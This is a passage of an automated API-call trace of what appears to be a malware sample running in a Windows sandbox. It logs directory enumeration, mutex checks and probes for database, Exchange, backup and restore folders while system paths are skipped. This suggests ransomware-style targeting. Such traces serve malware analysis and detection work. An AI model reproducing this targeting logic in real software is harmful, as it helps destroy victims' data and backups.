lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.126] GlobalLock (hMem=0x440004) returned 0x551178 [0046.126] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.126] GlobalUnlock (hMem=0x440004) returned 0 [0046.126] GlobalLock (hMem=0x440004) returned 0x551178 [0046.126] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.126] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.126] GlobalUnlock (hMem=0x440004) returned 0 [0046.127] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.127] GlobalUnlock (hMem=0x44000c) returned 0 [0046.127] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.127] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.127] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.127] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.127] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.127] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.127] GlobalUnlock (hMem=0x44000c) returned 0 [0046.127] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.127] GlobalLock (hMem=0x440004) returned 0x554190 [0046.127] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.127] GlobalUnlock (hMem=0x44000c) returned 0 [0046.127] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.127] GlobalUnlock (hMem=0x440004) returned 0 [0046.127] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.127] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.127] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.127] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.127] GlobalLock (hMem=0x440004) returned 0x552180 [0046.127] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.127] GlobalUnlock (hMem=0x440004) returned 0 [0046.127] GlobalLock (hMem=0x440004) returned 0x552180 [0046.127] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.127] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.127] GlobalUnlock (hMem=0x440004) returned 0 [0046.127] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.127] GlobalUnlock (hMem=0x44000c) returned 0 [0046.127] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.127] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.128] GetLastError () returned 0x12 [0046.128] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.128] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0046.128] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0046.128] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0046.128] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.128] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0046.128] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0046.128] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0046.128] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.128] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0046.128] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0046.128] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0046.128] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.129] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.129] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR") returned 1 [0046.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@쁒R쀦R企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0046.129] GetLastError () returned 0x3 [0046.129] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0046.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@뾴R企@\x18㿬Q\x181")) returned 0xffffffff [0046.130] GetLastError () returned 0x2 [0046.130] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@븄R企@\x18?T\x18;")) returned 0xffffffff [0046.130] GetLastError () returned 0x2 [0046.130] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.131] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@셤R企@\x18?T\x18D")) returned 0xffffffff [0046.131] GetLastError () returned 0x2 [0046.131] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.131] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@뾴R企@\x18븄R\x18j")) returned 0xffffffff [0046.132] GetLastError () returned 0x2 [0046.132] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.132] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.132] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.132] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@셤R企@\x18?T\x18q")) returned 0xffffffff [0046.132] GetLastError () returned 0x2 [0046.132] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.132] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\븀RP") returned 6 [0046.132] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@뻜R企@\x18?T\x18y")) returned 0xffffffff [0046.133] GetLastError () returned 0x2 [0046.133] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@뾴R企@\x18?T\x18\x81")) returned 0xffffffff [0046.133] GetLastError () returned 0x2 [0046.133] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@셤R企@\x18?T\x18\x88")) returned 0xffffffff [0046.133] GetLastError () returned 0x2 [0046.133] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0046.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@뻜R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.133] GetLastError () returned 0x2 [0046.133] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0046.134] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@뾴R企@\x18?T\x18\x97")) returned 0xffffffff [0046.134] GetLastError () returned 0x2 [0046.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0046.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.134] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.134] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0046.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.134] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.134] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.135] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: 